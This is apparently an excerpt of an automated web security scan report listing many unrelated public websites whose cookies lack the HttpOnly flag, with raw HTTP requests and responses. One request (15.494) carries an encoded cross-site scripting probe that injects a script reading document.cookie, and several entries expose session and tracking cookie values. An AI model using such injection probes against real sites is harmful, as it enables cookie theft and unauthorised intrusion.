15.474. http://www.itbusinessedge.com/info/gglprojmgmtbeta.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itbusinessedge.com
Path:	/info/gglprojmgmtbeta.aspx</TEMPLATE_FIELD>

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BIGipServeritbe_http_pool=856298924.20480.0000; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /info/gglprojmgmtbeta.aspx</TEMPLATE_FIELD> HTTP/1.1
Host: www.itbusinessedge.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 400 Bad Request
Content-Type: text/html
Date: Sun, 06 Feb 2011 16:07:18 GMT
Connection: close
Content-Length: 34
Set-Cookie: BIGipServeritbe_http_pool=856298924.20480.0000; path=/

<h1>Bad Request (Invalid URL)</h1>

15.475. http://www.linuxsecurity.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.linuxsecurity.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

473097ac08cef5345a0ef7ef35a119cd=fc29dcbb5885aeaf76461210b0087fc6; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.linuxsecurity.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: 473097ac08cef5345a0ef7ef35a119cd=-; __utmz=137231789.1296945319.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/23; __utma=137231789.34780583.1296945313.1296945313.1296945313.1; __utmc=137231789; __utmb=137231789.1.10.1296945313;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:31 GMT
Server: Apache
X-Powered-By: PHP/4.4.7
Set-Cookie: 473097ac08cef5345a0ef7ef35a119cd=fc29dcbb5885aeaf76461210b0087fc6; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 05 Feb 2011 23:02:31 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 61884

<?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...

15.476. http://www.live.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.live.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

xid=60629a37-865b-4dd9-a5a2-5b76c9612ec1&&BL2xxxxxxC502&69; domain=.live.com; path=/
mktstate=S=821848180&U=&E=&P=&B=en; domain=.live.com; path=/
mkt1=norm=en; domain=.live.com; path=/
mkt2=marketing=en-us; domain=.www.live.com; path=/
E=P:Z8tc6J+TzYg=:Sat/ZBZp0alEo6grHvlB26tzg6c5Lr6Z/8oDdDPquS4=:F; domain=.live.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.live.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.477. http://www.livejournal.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.livejournal.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ljuniq=MnryuUjDEJIp2pJ:1296946954:pgstats0:m0; expires=Wednesday, 06-Apr-2011 23:02:34 GMT; domain=.livejournal.com; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.livejournal.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.478. http://www.membershiprewards.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.membershiprewards.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BIGipServerpool_p_www.membershiprewards.com_all=1477093568.0.0000; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.membershiprewards.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 180
Content-Type: text/html; charset=utf-8
Expires: -1
Location: /myca/Process.aspx?action=request&sec=0&target=
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=40bj1i45hoemou45ky5yxtvp; path=/; HttpOnly
Date: Sat, 05 Feb 2011 22:06:58 GMT
Connection: close
Set-Cookie: BIGipServerpool_p_www.membershiprewards.com_all=1477093568.0.0000; path=/

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="%2fmyca%2fProcess.aspx%3faction%3drequest%26sec%3d0%26target%3d">here</a>.</h2>
</body></html>

15.479. http://www.membershiprewards.com/HomePage.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.membershiprewards.com
Path:	/HomePage.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BIGipServerpool_p_www.membershiprewards.com_all=1577756864.0.0000; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /HomePage.aspx HTTP/1.1
Host: www.membershiprewards.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 180
Content-Type: text/html; charset=utf-8
Expires: -1
Location: /myca/Process.aspx?action=request&sec=0&target=
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=qyis2445pkducr555y3zrh55; path=/; HttpOnly
Date: Sat, 05 Feb 2011 22:06:51 GMT
Connection: close
Set-Cookie: BIGipServerpool_p_www.membershiprewards.com_all=1577756864.0.0000; path=/

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="%2fmyca%2fProcess.aspx%3faction%3drequest%26sec%3d0%26target%3d">here</a>.</h2>
</body></html>

15.480. http://www.membershiprewards.com/catalog/earn/default.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.membershiprewards.com
Path:	/catalog/earn/default.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BIGipServerpool_p_www.membershiprewards.com_all=1443539136.0.0000; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /catalog/earn/default.aspx HTTP/1.1
Host: www.membershiprewards.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 180
Content-Type: text/html; charset=utf-8
Expires: -1
Location: /myca/Process.aspx?action=request&sec=0&target=
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=x0sl0l5512horvbvj4e1bi45; path=/; HttpOnly
Date: Sat, 05 Feb 2011 22:06:58 GMT
Connection: close
Set-Cookie: BIGipServerpool_p_www.membershiprewards.com_all=1443539136.0.0000; path=/

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="%2fmyca%2fProcess.aspx%3faction%3drequest%26sec%3d0%26target%3d">here</a>.</h2>
</body></html>

15.481. http://www.membershiprewards.com/catalog/landing/open/Default.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.membershiprewards.com
Path:	/catalog/landing/open/Default.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BIGipServerpool_p_www.membershiprewards.com_all=1594534080.0.0000; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /catalog/landing/open/Default.aspx HTTP/1.1
Host: www.membershiprewards.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 180
Content-Type: text/html; charset=utf-8
Expires: -1
Location: /myca/Process.aspx?action=request&sec=0&target=
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=wu3qsbmshkjxqr45lkmw3e55; path=/; HttpOnly
Date: Sat, 05 Feb 2011 22:07:01 GMT
Connection: close
Set-Cookie: BIGipServerpool_p_www.membershiprewards.com_all=1594534080.0.0000; path=/

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="%2fmyca%2fProcess.aspx%3faction%3drequest%26sec%3d0%26target%3d">here</a>.</h2>
</body></html>

15.482. http://www.mybloglog.com/links/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.mybloglog.com
Path:	/links/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BX=fbnhh856krig8&b=3&s=mv; expires=Tue, 02-Jun-2037 20:00:00 GMT; path=/; domain=.mybloglog.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /links/ HTTP/1.1
Host: www.mybloglog.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.483. http://www.myfitnesspal.com/nutrition-facts-calories/bjs previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.myfitnesspal.com
Path:	/nutrition-facts-calories/bjs

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

tracker=kw%3D%3E%7Csource_domain%3D%3E%7Ccp%3D%3E%7Clp_category%3D%3E%7Csearch_engine%3D%3E%7Clanding_page%3D%3E%2Fnutrition-facts-calories%2Fbjs%7Ccr%3D%3E%7Cclicked_at%3D%3E2011-02-05+14%3A07%3A05+-0800%7Clp_subcategory%3D%3E%7Cuser_id%3D%3E%7Cmt%3D%3E%7Cs1%3D%3E%7Cs2%3D%3E%7Csource%3D%3E%7Ckeywords%3D%3E; path=/; expires=Sun, 05-Feb-2012 22:07:05 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /nutrition-facts-calories/bjs HTTP/1.1
Host: www.myfitnesspal.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.6.35
Date: Sat, 05 Feb 2011 22:07:05 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 3.0.2
ETag: "860a3bdc2d1bbb3fc2424fadf246b599"
X-Runtime: 109
Pragma: no-cache
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Set-Cookie: tracker=kw%3D%3E%7Csource_domain%3D%3E%7Ccp%3D%3E%7Clp_category%3D%3E%7Csearch_engine%3D%3E%7Clanding_page%3D%3E%2Fnutrition-facts-calories%2Fbjs%7Ccr%3D%3E%7Cclicked_at%3D%3E2011-02-05+14%3A07%3A05+-0800%7Clp_subcategory%3D%3E%7Cuser_id%3D%3E%7Cmt%3D%3E%7Cs1%3D%3E%7Cs2%3D%3E%7Csource%3D%3E%7Ckeywords%3D%3E; path=/; expires=Sun, 05-Feb-2012 22:07:05 GMT
Set-Cookie: _myfitnesspal_session=BAh7BzoQZXhwaXJ5X3RpbWVVOiBBY3RpdmVTdXBwb3J0OjpUaW1lV2l0aFpvbmVbCEl1OglUaW1lDcDEG8D5O1ccBjofQG1hcnNoYWxfd2l0aF91dGNfY29lcmNpb25UIh9QYWNpZmljIFRpbWUgKFVTICYgQ2FuYWRhKUl1OwcNsMQbwPk7VxwGOwhUOg9zZXNzaW9uX2lkIiUxZGYxZGZiMzJkMGE2YWI1MWE1MmY1NzA3NWUyZDNhZQ%3D%3D--8ac4e1247c0d18d6e1dd8642eb446e0bc1bd2c46; path=/; HttpOnly
Content-Length: 23989
Status: 200

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<m
...[SNIP]...

15.484. http://www.netvibes.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.netvibes.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

lang=en_US; expires=Tue, 05-Feb-2013 23:02:51 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.netvibes.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Server: nginx/0.7.67
Date: Sat, 05 Feb 2011 23:02:51 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Men: 22
Set-Cookie: lang=en_US; expires=Tue, 05-Feb-2013 23:02:51 GMT; path=/
Location: /en
Content-Length: 0
X-slb: 4
X-Jobs: http://about.netvibes.com/jobs.php looking for a sysadmin :)

15.485. http://www.newsvine.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.newsvine.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

vid=3a4937fb2983dadb56c5168b22255db3; expires=Fri, 31-Jan-2031 23:02:53 GMT; path=/; domain=.newsvine.com
sprout=2_kGyhIl1F2ko87PYZ8d2fSYCKMKWCW5ewEBC8jEGtgcoaSGuXhq3hDkYeuKPwF%2FPFLYfYM9dQFw8AnXFXY4EQuxw%2FFQlGg8nSpMit7LSHzn3oOd7FRtEzmZhdhLzAs2S%2BOnUx9lwkG9YsIYSnzy21lut2nQgXaMSF%2BhOET5670ZWIbdSoPfX6svvgI4xRaVIegWb1xIBchOg2Ju8qox1cAhxIoFowYrBNSo9rB2hnM2QjP0Lo4xTAq%2Fg77FsEXPRS; expires=Fri, 31-Jan-2031 23:02:53 GMT; path=/; domain=.newsvine.com
vid=3a4937fb2983dadb56c5168b22255db3; expires=Fri, 31-Jan-2031 23:02:53 GMT; path=/; domain=.newsvine.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.newsvine.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.486. http://www.nmworkwear.de/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nmworkwear.de
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

XTCsid=ekde4uf6o3m1pae1sfc1dc4f16; path=/; domain=.nmworkwear.de

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.nmworkwear.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.487. http://www.nmworkwear.de/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nmworkwear.de
Path:	/index.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

XTCsid=3ugqie5obq0npitc2bvsin2tr7; path=/; domain=.nmworkwear.de

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /index.php HTTP/1.1
Host: www.nmworkwear.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.488. http://www.omniture.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.omniture.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BIGipServerhttp_omniture=101320202.5892.0000; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.omniture.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 301 Moved Permanently
Server: Omniture AWS/2.0.0
Location: http://www.omniture.com/en/
Content-Length: 313
Content-Type: text/html; charset=iso-8859-1
Vary: Accept-Encoding
Date: Sun, 06 Feb 2011 16:10:20 GMT
Connection: close
Set-Cookie: BIGipServerhttp_omniture=101320202.5892.0000; path=/

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://www.omniture.com
...[SNIP]...

15.489. http://www.openforum.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.openforum.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BIGipServerAmex=2769004736.20480.0000; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.openforum.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.490. https://www.openforum.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.openforum.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

plv=lv=af6b38e2-af41-4de2-b212-3468d374f14c; path=/
BIGipServerAmex=2735450304.20480.0000; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /?cid=inav_home&inav=menu_business_openforum HTTP/1.1
Host: www.openforum.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.491. http://www.ortho.hyperguides.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ortho.hyperguides.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

af696fa0a123e22c58825b15193298d6=h3g6udk5uu72jmpmg705t2a1r2; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.ortho.hyperguides.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.outblush.com
Path:	/\|http:/www.dooce.com/\|http:/www.mightygoods.com/\|http:/www.coolmompicks.com\|onemanga.com\|psychcentral.com\|webmail.aol.com\|http:/www.weblogsinc.com\|http:/www.webmd.com/$\|wonderwall.msn.com\|msn.com/wonderwall\|v14.msn.com/\|preview.msn.com/\|www.msn.com/preview.aspx\|mtv.com/videos/\|mtv.com/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BIGipServerbargainist_POOL=1492848812.52514.0000; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /|http:/www.dooce.com/|http:/www.mightygoods.com/|http:/www.coolmompicks.com|onemanga.com|psychcentral.com|webmail.aol.com|http:/www.weblogsinc.com|http:/www.webmd.com/$|wonderwall.msn.com|msn.com/wonderwall|v14.msn.com/|preview.msn.com/|www.msn.com/preview.aspx|mtv.com/videos/|mtv.com/ HTTP/1.1
Host: www.outblush.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not found
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 10725
Date: Sun, 06 Feb 2011 16:01:55 GMT
Age: 0
Connection: close
Server: IBSrv 1.0
Set-Cookie: BIGipServerbargainist_POOL=1492848812.52514.0000; path=/

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="sixapart-standard">
<head>

...[SNIP]...

15.493. http://www.plurk.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.plurk.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

plurkcookiea="u4Dzd5qY/w+YBVv+jylep8RII90=?user_ip=UycxNzMuMTkzLjIxNC4yNDMnCnAxCi4="; Domain=.plurk.com; expires=Sun, 20-Feb-2011 16:10:55 GMT; Max-Age=1209600; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.plurk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.494. http://www.pointehilton.com/toolkit/presentation/shell/hpportal/assets/default.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pointehilton.com
Path:	/toolkit/presentation/shell/hpportal/assets/default.css

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BIGipServerIMS-6=806685194.20480.0000; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /toolkit/presentation/shell/hpportal/assets/default.css HTTP/1.1
Host: www.pointehilton.com
Proxy-Connection: keep-alive
Referer: http://www.pointehilton.com/favicon.ico?2eba4%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E5b859fb2210=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=16197269; CFTOKEN=78240628; __utmz=69452433.1296944075.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/17; __utma=69452433.16251013.1296944075.1296944075.1296944075.1; WT_FPC=id=173.193.214.243-2605364368.30126492:lv=1296936876900:ss=1296936876900
If-None-Match: "80c0554c33c2cb1:39bd0"
If-Modified-Since: Tue, 01 Feb 2011 17:13:09 GMT

Response

HTTP/1.1 200 OK
Content-Length: 19526
Content-Type: text/css
Content-Location: http://www.pointehilton.com/toolkit/presentation/shell/hpportal/assets/default.css
Last-Modified: Tue, 01 Feb 2011 17:13:09 GMT
Accept-Ranges: bytes
ETag: "80c0554c33c2cb1:37984"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sun, 06 Feb 2011 17:15:30 GMT
Set-Cookie: BIGipServerIMS-6=806685194.20480.0000; path=/

body {background-color:#5e260e; background-image:url(TC_Background_Slice.jpg); background-position:top center; background-repeat:repeat-y; margin-top:0px; margin-bottom:0px;}
a {font-family:"Georgia"
...[SNIP]...

15.495. http://www.protopage.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.protopage.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ipp=protopage/autocreate; Domain=.protopage.com; Expires=Mon, 06-Feb-2012 16:11:00 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.protopage.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Expires: Sat, 6 May 1995 12:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: im=p; Domain=.protopage.com; Expires=Mon, 06-Feb-2012 16:11:00 GMT; Path=/
Set-Cookie: ipp=protopage/autocreate; Domain=.protopage.com; Expires=Mon, 06-Feb-2012 16:11:00 GMT; Path=/
Content-Type: text/html;charset=UTF-8
Date: Sun, 06 Feb 2011 16:11:00 GMT
Connection: close

 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Pro
...[SNIP]...

15.496. http://www.rackspace.com/apps/email_hosting/exchange_hosting/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.rackspace.com
Path:	/apps/email_hosting/exchange_hosting/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

exp_last_visit=1296938631; expires=Mon, 06-Feb-2012 16:11:02 GMT; path=/
exp_last_activity=1297026662; expires=Mon, 06-Feb-2012 16:11:02 GMT; path=/
exp_tracker=a%3A1%3A%7Bi%3A0%3Bs%3A32%3A%22%2Femail_hosting%2Fexchange_hosting%2F%22%3B%7D; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /apps/email_hosting/exchange_hosting/ HTTP/1.1
Host: www.rackspace.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: rsea_cust=1; lpUASrackuid=US4da9da571af9d6d58e6c524219e4d7f8; US4da9da571af9d6d58e6c524219e4d7f8_pagecount=1; __utmz=47003812.1296921517.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/8; s_sq=%5B%5BB%5D%5D; s_ppv=5; exp_last_visit=981577072; _mkto_trk=id:045-QRG-025&token:_mch-rackspace.com-1296919121081-29332; chatslidercookie=invitesent; IS_UASrackuid=US4da9da571af9d6d58e6c524219e4d7f8; _vis_opt_s=1%7C; livechat=instantservice; s_cc=true; PHPSESSID=4fd4e850dc445f927d55acdbc1e84403; chatslider=B; __utma=47003812.1362301340.1296919297.1296921517.1297007047.3; __utmc=47003812; exp_last_activity=1296938631; __utmb=47003812.1.10.1297007047; s_pv=rackspaceUS%3Ablog%3Ahome;

Response

15.497. http://www.reddit.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.reddit.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

reddit_first=%7B%22organic_pos%22%3A%201%2C%20%22firsttime%22%3A%20%22first%22%7D; Domain=reddit.com; expires=Thu, 31 Dec 2037 23:59:59 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.reddit.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.498. http://www.sitejot.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.sitejot.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

whereFrom=deleted; expires=Sat, 06-Feb-2010 16:13:54 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.sitejot.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.499. http://www.splunk.com/download previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/download

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

Apache=173.193.214.243.1296942540001460; path=/; expires=Sun, 01-Feb-26 21:49:00 GMT; domain=.splunk.com
XARAYASID=ms69fapvgb6kjldegl9ntpo0g1; expires=Wed, 06 Feb 2036 03:49:00 GMT; path=/; domain=.splunk.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.500. http://www.splunk.com/index.php/download_track previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/index.php/download_track

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SplunkRedirectDestination=%252Findex.php%252Fdownload_track%253Ffile%253D4.1.6%252Fwindows%252Fsplunk-4.1.6-89596-x64-release.msi%2526platform%253DWindows%2526architecture%253Dx86_64%2526version%253D4.1.6%2526typed%253Drelease%2526name%253Dwindows_installer%2526d%253Dpro; expires=Sat, 05-Feb-2011 22:24:24 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /index.php/download_track?file=4.1.6/windows/splunk-4.1.6-89596-x64-release.msi&platform=Windows&architecture=x86_64&version=4.1.6&typed=release&name=windows_installer&d=pro HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
